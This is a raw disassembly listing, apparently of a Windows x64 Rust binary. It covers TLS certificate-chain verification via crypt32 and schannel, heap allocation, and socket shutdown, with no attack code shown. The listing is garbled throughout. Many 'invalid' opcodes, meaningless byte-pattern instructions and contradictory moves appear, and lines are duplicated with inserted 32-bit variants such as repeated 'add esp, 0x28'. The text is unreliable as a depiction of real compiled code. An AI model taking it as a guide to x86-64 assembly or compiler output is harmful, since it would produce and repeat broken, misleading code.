mov r15d, eax
mov rcx, r14
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
test r15d, r15d
je 0x140106ca9
mov rcx, qword [rdi + 8]
mov rdx, r12
call qword [sym.imp.crypt32.dll_CertEnumCertificatesInStore]
test rax, rax
jne 0x140106c50
jmp 0x140106be5
mov rcx, r14
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
jmp 0x140106c87
mov rcx, r12
mov r14, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
call r14
mov rcx, rsi
call r14
mov esi, 0xf10
mov r12, qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
mov r14, qword [rbp + 0x80]
mov rbx, qword [rbp + 0x48]
mov rcx, qword [rbp - 0x10]
call r12
lea r13, [rbp + 0xb0]
lea rax, [rbp + 0x58]
movups xmmword [rax], xmm6
movabs rax, 0x200000018
mov qword [rbp + 0x50], rax
mov rax, qword [rdi + 0xd0]
test rax, rax
je 0x140106d0f
cmp byte [rdi + 0x121], 0
jne 0x140106d0f
mov qword [rbp + 0x60], rax
mov dword [rbp + 0x28], reloc.WS2_32.dll_recv
mov dword [rbp + 0x2c], esi
lea rax, [rbp + 0x50]
mov qword [rbp + 0x30], rax
movaps xmmword [rbp + 0x90], xmm6
mov qword [rbp + 0xa0], 0
mov dword [rbp + 0x90], 0x18
mov ecx, 4
mov rdx, r14
lea r8, [rbp + 0x28]
lea r9, [rbp + 0x90]
call qword [sym.imp.crypt32.dll_CertVerifyCertificateChainPolicy]
test eax, eax
je 0x14010702c
add byte [rax], al
add byte [rax], al
mov r12d, dword [rbp + 0x94]
mov rax, qword [rdi + 0xe8]
test rax, rax
je 0x140106db7
mov r8, qword [rdi + 0xf0]
mov rcx, qword [r8 + 0x10]
dec rcx
and rcx, 0xfffffffffffffff0
add rcx, rax
add rcx, 0x10
mov qword [rbp + 0xb0], r14
mov dword [rbp + 0xb8], r12d
mov rax, qword [rbp + 0x98]
mov qword [rbp + 0xbc], rax
mov rdx, r13
call qword [r8 + 0x28]
test rax, rax
je case.0x14005f6a2.2300
jmp 0x140107047
test r12d, r12d
jne 0x140107034
mov rcx, r14
call qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
mov rcx, rbx
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
cmp byte [rdi + 0x40], 0
movzx ebx, byte [rbp + 0xf7]
movzx ecx, byte [rbp + 0xe0]
jne 0x140106237
mov rax, qword [rbp + 8]
mov byte [rax], 1
jmp 0x140106237
movabs rax, 0xd00000003
add byte [rax], al
add byte [0x188106e01], cl
mov edi, dword [rbp + 0xe8]
mov rdi, qword [rbp + 0xe8]
mov qword [rdi + 8], rax
mov eax, 2
add byte [rax], al
add byte [rcx - 0x4ad7f0f9], cl
add byte [rcx], al
add byte [rax], al
mov dword [rdi], eax
movaps xmm6, xmmword [rbp + 0x100]
add rsp, 0x198
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
cmp eax, 1
jne 0x140106e51
mov rcx, qword [rbp + 8]
mov eax, dword [rcx + 0x10]
mov rdi, qword [rbp + 0xe8]
mov dword [rdi + 0x14], eax
movups xmm0, xmmword [rcx]
movups xmmword [rdi + 4], xmm0
mov eax, 1
jmp 0x140106e10
xor eax, eax
mov rdi, qword [rbp + 0xe8]
jmp 0x140106e10
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
je 0x140106e85
mov rdi, qword [rbp + 0xe8]
jmp 0x140106ea5
shl r12, 0x20
or r12, 2
jmp 0x140106fc3
add dword ds:[rax], eax
invalid
add dword ds:[rax], eax
add bh, bh
adc eax, 0x611a5
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
mov rdi, qword [rbp + 0xe8]
je 0x14010713e
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x1f
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14010713e
mov rsi, rax
movups xmm0, xmmword [0x1401d7cdf]
movups xmmword [rax + 0xf], xmm0
movups xmm0, xmmword [str.unexpected_EOF_during_handshakeassertion_failed:_size___nread]
movups xmmword [rax], xmm0
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne case.0x14005f6a2.2307
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14010714f
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14010714f
mov rbx, rax
mov qword [rax], rsi
mov qword [rax + 8], 0x1f
mov qword [rax + 0x10], 0x1f
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140106f59
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140107160
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140107160
mov qword [rax], rbx
lea rcx, fcn.140022090
mov qword [rax + 8], rcx
mov byte [rax + 0x10], 0x25
inc rax
jmp 0x140106e07
call sub.KERNEL32.dll_GetLastError
mov r12d, eax
shl r12, 0x20
or r12, 2
mov rcx, r13
mov rdi, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
call rdi
mov rcx, r14
call rdi
mov rcx, rsi
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
jmp 0x14010704a
mov r12, qword [rbp + 0x58]
mov r8, qword [rbp + 0x40]
test rbx, rbx
mov rdi, qword [rbp + 0xe8]
je 0x140106fe8
cmp rbx, 0x11
jb 0x140106fd9
mov r8, qword [r8 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc byte [rsi], al
invalid
cmp qword [rbp + 0x98], 0
je 0x14010705a
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14010705a
mov r12d, eax
shl r12, 0x20
or r12, 2
mov rdi, qword [rbp + 0xe8]
jmp 0x14010705a
call sub.KERNEL32.dll_GetLastError
mov r12d, eax
shl r12, 0x20
or r12, 2
jmp 0x14010704a
call sub.KERNEL32.dll_GetLastError
mov r12d, eax
shl r12, 0x20
or r12, 2
mov rcx, r14
call qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
jmp 0x14010704a
mov r12, rax
mov rdi, qword [rbp + 0xe8]
mov rcx, rbx
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov qword [rdi + 8], r12
jmp 0x140106e0b
mov rdi, qword [rbp + 0xe8]
mov rax, qword [rbp + 0x18]
jmp 0x140106e07
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov ecx, 1
mov rdx, rsi
bnd call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov ecx, 1
mov rdx, rsi
call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov ecx, 1
mov rdx, rsi
call fcn.140160ed0
ud2
invalid
lea rcx, str.assertion_failed:__self.context.is_null__
lea r8, [0x1401d35c8]
mov edx, 0x29
call fcn.140160fb0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, rsi
call fcn.140160e60
ud2
mov ecx, 8
mov edx, 0x20
call fcn.14015d7f0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, rsi
call fcn.140160f40
ud2
lea rcx, [0x1401d7cef]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov edx, 0x1f
call fcn.140160fb0
ud2
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_src_vecmod.rs
mov rcx, r14
call fcn.140160f40
ud2
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_src_vecmod.rs
mov rcx, rsi
call fcn.140160f40
ud2
mov ecx, 1
mov edx, 0x1f
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
ud2
mov qword [rbp + 0x38], rbx
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
ud2
lea rax, [rbx + rbx]
cmp rax, r13
cmova r13, rax
cmp r13, 0x401
cmovb r13, rsi
sub r13, r15
jbe 0x140107588
mov rax, qword [rdi + 0x88]
sub rax, r15
cmp rax, r13
jb 0x140107636
mov rsi, qword [rdi + 0x80]
lea rcx, [rsi + r15]
cmp r13, 2
jb 0x140107576
lea r8, [r13 - 1]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
add r15, r13
dec r15
add rsi, r15
mov rcx, rsi
mov ecx, esi
mov esi, 0x400
mov byte [rcx], 0
inc r15
mov qword [rdi + 0x90], r15
mov rax, r15
sub rax, rbx
jb 0x14010769a
mov rcx, qword [rdi + 0x80]
add rcx, rbx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], rax
and al, 0x30
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], rax
mov rdx, qword [rdi + 0x38]
test rdx, rdx
je 0x1401076ae
mov rcx, r14
mov r8, r12
call fcn.1401475e0
test rax, rax
movabs rax, 0xd00000003
add byte [rax], al
cmovne rdx, rax
test rdx, rdx
test edx, edx
jne 0x140107678
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
cmp rcx, rdx
ja 0x1401076c8
add rbx, rcx
mov qword [rdi + 0x98], rbx
cwde
add byte [rax], al
add byte [rax - 0x75], cl
xchg eax, edi
add byte [rax], al
add byte [rax - 0x77], cl
ret 0x2948
retf 0xbd41
add byte [rax], al
add byte [rax], al
cmovae r13, rdx
mov qword [rdi + 0xf8], r13
test rcx, rcx
je 0x14010766b
add rbp, rcx
cmp rax, rcx
ja 0x140107520
jmp 0x14010766b
lea rcx, [rdi + 0x80]
mov rdx, r15
mov r8, r13
call fcn.14015cc80
add byte [rbx + rcx*4 - 0x41], cl
nop
add byte [rax], al
add byte [rax - 0x75], cl
mov bh, 0x80
add byte [rax], al
add byte [rdx - 0x73], cl
or al, 0x3e
cmp r13, 2
jae 0x14010755f
jmp 0x140107576
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 8], rbp
xor eax, eax
jmp 0x140107686
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 8], rdx
push rcx
invalid
mov eax, 1
mov qword [rcx], rax
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, rbx
mov rdx, r15
call fcn.140160e60
ud2
lea rcx, str.assertion_failed:__self.context.is_null__
lea r8, [0x1401d35c8]
mov edx, 0x29
call fcn.140160fb0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_srcio_read_buf.rs
or al, 0
call fcn.140160f40
ud2
int3
int3
int3
int3
int3
invalid
mov eax, dword [rsp + 0x60]
mov qword [rsp + 0x20], rax
call fcn.140102f90
mov rax, rsi
mov eax, esi
mov eax, esi
add rsp, 0x30
pop rsi
ret
int3
int3
mov rsi, rcx
mov esi, ecx
mov rcx, qword [rsp + 0x60]
add rax, 0xfffffffffffffff0
shl rcx, 4
lea r9, [0x140204680]
lea ecx, [0x140204680]
nop
test rcx, rcx
je 0x14010777c
mov r10d, dword [rax + 0x10]
add rax, 0x10
add rcx, 0xfffffffffffffff0
test r10, r10
je 0x140107760
mov r9, qword [rax + 8]
mov ecx, dword [rax + 8]
or bl, ch
add eax, dword [rbp + 0x31]
ror byte [rcx + rcx*4 + 0x54], cl
and al, 0x20
jmp 0x14010777f
xor r10d, r10d
mov qword [rsp + 0x20], r10
mov rcx, rsi
call fcn.140102f90
mov eax, 0x8948ffff
invalid
add rsp, 0x30
pop rsi
ret
mov eax, 0x8948ffff
invalid
int3
and byte [rsi - 0x3d], bl
int3
ret
adc eax, dword [rax]
add byte [rax], al
mov rax, rsi
add rsp, 0x20
pop rsi
ret
int3
sub rsp, 0x30
mov rsi, rcx
lea rcx, [rdx + 0xc0]
add byte [rax - 0x39], cl
and al, 0x28
add byte [rax], al
add byte [rax], al
and al, 0x28
add byte [rax], al
add byte [rax], al
lea r8, [rsp + 0x28]
mov edx, 0x53
call qword [sym.imp.secur32.dll_QueryContextAttributesW]
test eax, eax
je case.0x1400e97e6.131
xor r15d, r15d
jmp 0x14010788f
mov rbx, qword [rsp + 0x28]
mov r14, qword [rbx + 8]
mov edi, dword [rbx + 0x10]
test rdi, rdi
invalid
je 0x140107872
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
test ecx, ecx
jne 0x140107850
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140107863
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
jne 0x140107878
mov ecx, 1
mov rdx, rdi
call fcn.14015d7f0
ud2
mov r15d, 1
mov rcx, r15
mov rdx, r14
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add eax, 0xd9894800
add eax, 0xd9894800
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], rdi
mov qword [rsi + 8], r15
mov dword [rsi + 8], edi
mov dword [rsi + 8], edi
mov qword [rsi], 1
add rsp, 0x30
xor byte [rbx + 0x5f], bl
xor byte [rbx + 0x5f], bl
pop rsi
pop r14
pop r15
ret
in al, dx
push rax
mov rsi, rcx
invalid
mov qword [rcx + 0x38], rdx
movzx eax, byte [rcx + 0x40]
test rax, rax
je 0x1401078d2
invalid
cmp eax, 2
je 0x140107982
add cl, byte [rdi]
test byte [rdx - 0x15000000], dh
invalid
jmp 0x1401078d8
cmp byte [rsi + 0x43], 0
jne 0x14010794a
mov dword [rsp + 0x24], 1
movabs rax, 0x200000004
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x24]
mov qword [rsp + 0x48], rax
movabs rax, 0x100000000
movabs rax, 0x100000000
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea rcx, [rsi + 0xc0]
lea rdx, [rsp + 0x28]
call qword [sym.imp.secur32.dll_ApplyControlToken]
invalid
test eax, eax
je 0x140107934
add byte [rbp - 0x76f38b40], al
mov edi, eax
shl rdi, 0x20
or rdi, 2
jmp 0x140107963
invalid
mov dword [rsi + 0x40], 0x1010000
add byte [rax], al
add dword [rcx], eax
mov byte [rsi + 0x44], 0
mov qword [rsi + 0xf8], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x28
lea rcx, [rsp + 0x28]
mov rdx, rsi
call fcn.1401060c0
cmp dword [rsp + 0x28], 2
jl 0x14010797e
sub byte [rdx], al
jl 0x14010797e
and al, 0x28
add dh, byte [rbp + 0x24]
sub byte [rdx], al
jne 0x140107982
mov rdi, qword [rsp + 0x30]
mov ebx, edi
and ebx, 3
add ecx, dword [rax - 0x73]
add eax, 0x1031a5
lea eax, [0x14020ab14]
movsxd rcx, dword [rax + rbx*4]
add rcx, rax
jmp rcx
movzx eax, byte [rdi + 0x10]
cmp al, 0xd
mov dh, 0x47
adc byte [rcx + 0x2eb3974], bh
je 0x1401079b9
jmp 0x140107984
xor edi, edi
mov qword [rsi + 0x38], 0
add byte [rax], al
add byte [rcx], dh
ror byte [rax - 0x77], 0xfa
mov edx, edi
xor eax, eax
mov rdx, rdi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
cmp byte [rdi + 0xf], 0xd
jne 0x140107984
mov qword [rsi + 0x38], 0
jmp fcn.1401079c6
mov rcx, rdi
shr rcx, 0x20
call fcn.14012f020
invalid
cmp al, 0xd
jne 0x140107984
mov qword [rsi + 0x38], 0
cmp ebx, 1
jne 0x140107a2f
lea esi, [rdi - 1]
mov rbx, qword [rdi - 1]
mov rdi, qword [rdi + 7]
mov rcx, rbx
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1401079fb
cmp qword [rdi + 0x10], 0x11
jb 0x1401079e9
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
invalid
invalid
invalid
sub eax, 0x48000606
mov ecx, dword [0x140215360]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 1
jmp 0x14010798e
mov rax, rdi
shr rax, 0x20
cmp eax, 0xd
or eax, 0xff5d850f
invalid
invalid
mov qword [rsi + 0x38], 0
mov eax, 1
add byte [rax], al
jmp 0x14010798e
int3
cmp ecx, 0xffffffff
je 0x140107b3c
mov edx, 1
call qword [sym.imp.WS2_32.dll_shutdown]
cmp eax, 0xffffffff
je 0x140107b25
xor edx, edx
xor eax, eax
add rsp, 0x28
add esp, 0x28
add esp, 0x28
ret
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
xor eax, eax
add rsp, 0x28
ret
xor eax, 0x89000608
ret 0xc148
add byte [rcx - 0x1d3eb73e], cl
and byte [rax - 0x7d], cl
retf 0x3102
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_srciopoll_evented.rs
mov edx, 0x2b
call fcn.140160fb0
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, esp
int3
int3
and al, 0x60
cmp dword [rdx], 2
jne 0x140107b85
add rdx, 8
mov qword [rsp + 0x20], rcx
and al, 0x20
mov rcx, rsi
call fcn.140147bf0
jmp 0x140107bcf
add r9, 0xfffffffffffffff0
shl rcx, 4
shl ecx, 4
invalid
shl ecx, 4
lea rax, [0x140204680]
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test rcx, rcx
je 0x140107bbc
mov r10d, dword [r9 + 0x10]
add r9, 0x10
add ecx, 0x10
add ecx, 0x10
add rcx, 0xfffffffffffffff0
test r10, r10
je 0x140107ba0
sal byte [rdx + rbp*8 + 0x49], cl
mov eax, dword [rcx + 8]
invalid
invalid
mov rax, qword [r9 + 8]
jmp 0x140107bbf
xor r10d, r10d
mov qword [rsp + 0x20], r10
mov rcx, rsi
and byte [rax - 0x77], cl
int1
mov r9, rax
call fcn.140102f90
mov rax, rsi
add rsp, 0x30
add esp, 0x30
pop rsi
ret
int3
ret
int3
mov esi, ecx
xor eax, eax
cmp dword [rdx], 2
setne al
lea rdx, [rdx + rax*8]
add rdx, 8
ret 0xe808
ret
xchg edx, eax
clc
dec dword [rax - 0x77]
invalid
add rsp, 0x20
and byte [rsi - 0x3d], bl
and byte [rsi - 0x3d], bl
int3
mov rcx, rsi
call fcn.1401077e0
mov rax, rsi
add rsp, 0x20
pop rsi
ret
cmp qword [rsi], 0
je 0x140107ce6
add byte ds:[rdx + rcx + 0x48], dh
mov rcx, qword [rsi + 8]
mov ecx, dword [rsi + 8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x10]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
invalid
invalid
add byte [rax - 0x7d], cl
jle 0x140107d2e
invalid
je 0x140107d14
mov r8, qword [rsi + 0x30]
mov rcx, qword [0x140215360]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
add byte [rax + 0x20c48348], dl
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
add byte [rax], al
add al, ch
add dl, byte [rcx - 0x69140001]
cmp dword [rsi + 0x208], 2
je 0x140107d60
invalid
invalid
lea rcx, [rsi + 0x208]
lea ecx, [rsi + 0x208]
call fcn.140101330
jmp 0x140107d60
add al, byte [rax]
add byte [rdx], al
jne 0x140107d6c
mov byte [rsi + 0x201], 0
jmp 0x140107cd6
push 0xffffffffffffffff
invalid
lea rcx, [rsi + 0x208]
call fcn.140100e40
mov byte [rsi + 0x201], 0
add al, byte [rax]
add byte [rax], al
add dword [rdx], eax
add byte [rax], al
add cl, ch
push rdx
jmp 0x140107cd6
invalid
dec esp
int3
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xce8
movaps xmmword [rsp + 0xcd0], xmm6
mov r13, r8
mov rdi, rdx
mov rsi, rcx
movzx eax, byte [rdx + 0x49]
and al, 0xd0
or al, 0
add byte [rbp - 0x77], cl
invalid
lea rcx, [0x14020ab24]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add al, 0x81
add rax, rcx
jmp rax
mov rdx, qword [rdi + 0x20]
push rdi
and byte [rax - 0x75], cl
sub byte [r8 - 0x77], r9b
push rdi
mov rax, qword [rdi + 0x28]
mov qword [rdi + 0x50], rdx
push rax
push rax
mov qword [rdi + 0x58], rax
jmp 0x140107e2e
lea r9, [rdi + 0x330]
movzx eax, byte [rdi + 0x330]
test eax, eax
je 0x140107ff0
cmp eax, 3
clc
add ecx, dword [rdi]
jne case.default.0x140107e15
lea r10, [rdi + 0x200]
jne case.default.0x140107e15
adc eax, dword [rax]
add byte [rbp + rcx*4 - 0x69], cl
add byte [rdx], al
add byte [rax], al
lea r10, [rdi + 0x200]
movzx eax, byte [rdi + 0x200]
mov dh, 0x87
add byte [rdx], al
add byte [rax], al
invalid
lea rcx, [0x14020ab38]
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
jmp rax
invalid
loopne 0x140107e64
mov dword [rsp + 0x30], edx
mov qword [rsp + 0x40], r9
and al, 0x40
and al, 0x40
jmp 0x1401083db
mov rdx, qword [rdi + 0x50]
mov rax, qword [rdi + 0x58]
lea rcx, [rsp + 0x250]
mov r8, r13
call qword [rax + 0x18]
mov r14, qword [rsp + 0x250]
add al, byte [rax]
add byte [rcx - 0x7d], cl
inc byte [rbx]
add al, byte [rax]
add byte [rcx - 0x7d], cl
inc byte [rbx]
jne 0x140107e58
mov qword [rsi], 4
mov al, 3
jmp 0x14010896c
mov r12, r13
mov r13, qword [rsp + 0x258]
pop rax
add al, byte [rax]
add byte [rax - 0x75], cl
lodsb al, byte [rsi]
and al, 0x60
add al, byte [rax]
invalid
pop rax
add al, byte [rax]
add byte [rax - 0x75], cl
lodsb al, byte [rsi]
and al, 0x60
add al, byte [rax]
add byte [rdi], cl
adc byte [rsp + 0x268], al
mov ebp, dword [rsp + 0x260]
movups xmm0, xmmword [rsp + 0x268]
movaps xmmword [rsp + 0xd0], xmm0
mov r15, qword [rdi + 0x50]
mov rbx, qword [rdi + 0x58]
mov rcx, r15
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140107eac
cmp qword [rbx + 0x10], 0x11
jb 0x140107e9a
mov r15, qword [r15 - 8]
mov rcx, qword [0x140215360]
adc byte [rax], al
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp r14d, 2
jne 0x140107f93
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140107ee2
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14010914e
mov rcx, rax
mov qword [0x140215360], rax
invalid
adc byte [rax], al
invalid
mov r8d, 0x20
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14010914e
mov r14, rax
mov qword [rax], r13
mov qword [rax + 8], rbp
movaps xmm0, xmmword [rsp + 0xd0]
movups xmmword [rax + 0x10], xmm0
lea r13, [0x1401d2c88]
cmp qword [rdi], 0
je 0x140107f26
mov rcx, qword [rdi + 8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rdi + 0x10]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov r15d, 3
cmp qword [rdi + 0x38], 0
cmp byte [rax], al
je 0x140107f52
mov r8, qword [rdi + 0x30]
mov rcx, qword [0x140215360]
xor byte [r8 - 0x75], r9b
or eax, 0x10d416
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsi], r15
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], rbp
movaps xmm0, xmmword [rsp + 0x4c0]
movups xmmword [rsi + 0x20], xmm0
mov qword [rsi + 0x30], rbx
mov qword [rsi + 0x38], r12
lea rcx, [rsi + 0x40]
lea rdx, [rsp + 0xa18]
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
mov al, 1
jmp 0x14010896c
cmp byte [rdi + 0x48], 0
je 0x14010883c
mov rax, qword [rdi + 0x40]
mov qword [rdi + 0x50], r14
mov qword [rdi + 0x58], r13
mov qword [rdi + 0x60], rbp
movaps xmm0, xmmword [rsp + 0xd0]
movups xmmword [rdi + 0x68], xmm0
mov qword [rdi + 0x78], rdi
mov qword [rdi + 0x80], rcx
mov qword [rdi + 0x88], rax
lea r9, [rdi + 0x330]
mov byte [rdi + 0x330], 0
movq xmm0, rdi
movd mm0, edi
invalid
movd mm0, edi
movq xmm1, rcx
punpcklqdq xmm0, xmm1
mov r13, r12
jmp 0x140107ffc
movdqu xmm0, xmmword [rdi + 0x78]
mov rax, qword [rdi + 0x88]
mov rcx, qword [rdi + 0x70]
mov qword [rdi + 0xb0], rcx
mov dword [rdi + 0xb0], ecx
mov dword [rdi + 0xb0], ecx
mov rcx, qword [rdi + 0x50]
mov rdx, qword [rdi + 0x58]
movups xmm1, xmmword [rdi + 0x60]
invalid
invalid
movups xmmword [rdi + 0xa0], xmm1
mov qword [rdi + 0x90], rcx
mov qword [rdi + 0x98], rdx
movdqu xmmword [rdi + 0xb8], xmm0
mov qword [rdi + 0xc8], rax
mov dword [rdi + 0xc8], eax
mov dword [rdi + 0xc8], eax
lea r10, [rdi + 0x200]
mov byte [rdi + 0x200], 0
xchg dword [rax], eax
add al, byte [rax]
add byte [rax], al
xchg dword [rax], eax
add al, byte [rax]
add byte [rax], al
mov byte [rdi + 0x201], 0
mov rax, qword [rdi + 0xc8]
enter 0, 0
enter 0, 0
mov qword [rsp + 0x288], rax
movups xmm0, xmmword [rdi + 0xb8]
movups xmmword [rsp + 0x278], xmm0
mov rax, qword [rdi + 0xb0]
add byte [rax], al
mov qword [rsp + 0x270], rax
movups xmm0, xmmword [rdi + 0x90]
movups xmm1, xmmword [rdi + 0xa0]
movaps xmmword [rsp + 0x250], xmm0
movaps xmmword [rsp + 0x260], xmm1
movaps xmm2, xmmword [rsp + 0x280]
movaps xmmword [rsp + 0x520], xmm2
movaps xmm3, xmmword [rsp + 0x270]
movaps xmmword [rsp + 0x510], xmm3
movaps xmmword [rsp + 0x500], xmm1
movaps xmmword [rsp + 0x4f0], xmm0
movups xmmword [rdi + 0x238], xmm2
movups xmmword [rdi + 0x228], xmm3
adc dword [rdi + 0x228], ebx
adc dword [rdi + 0x228], ebx
movups xmmword [rdi + 0x218], xmm1
movups xmmword [rdi + 0x208], xmm0
mov rax, qword [rdi + 0x208]
mov rbx, qword [rdi + 0x230]
mov r15, qword [rdi + 0x238]
mov r12, qword [rdi + 0x240]
mov qword [rdi + 0x208], 2
cmp rax, 2
je 0x14010911a
movups xmm0, xmmword [rdi + 0x210]
movups xmm1, xmmword [rdi + 0x220]
movups xmmword [rsp + 0xb8], xmm1
movups xmmword [rsp + 0xa8], xmm0
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0xc8], r13
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x50], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
movzx eax, byte [rbx + 0x1c]
movzx edx, byte [rbx + 0x1d]
lea ecx, [rdx + 1]
cmp dl, 4
movzx ecx, cl
mov r8d, 4
cmovae ecx, r8d
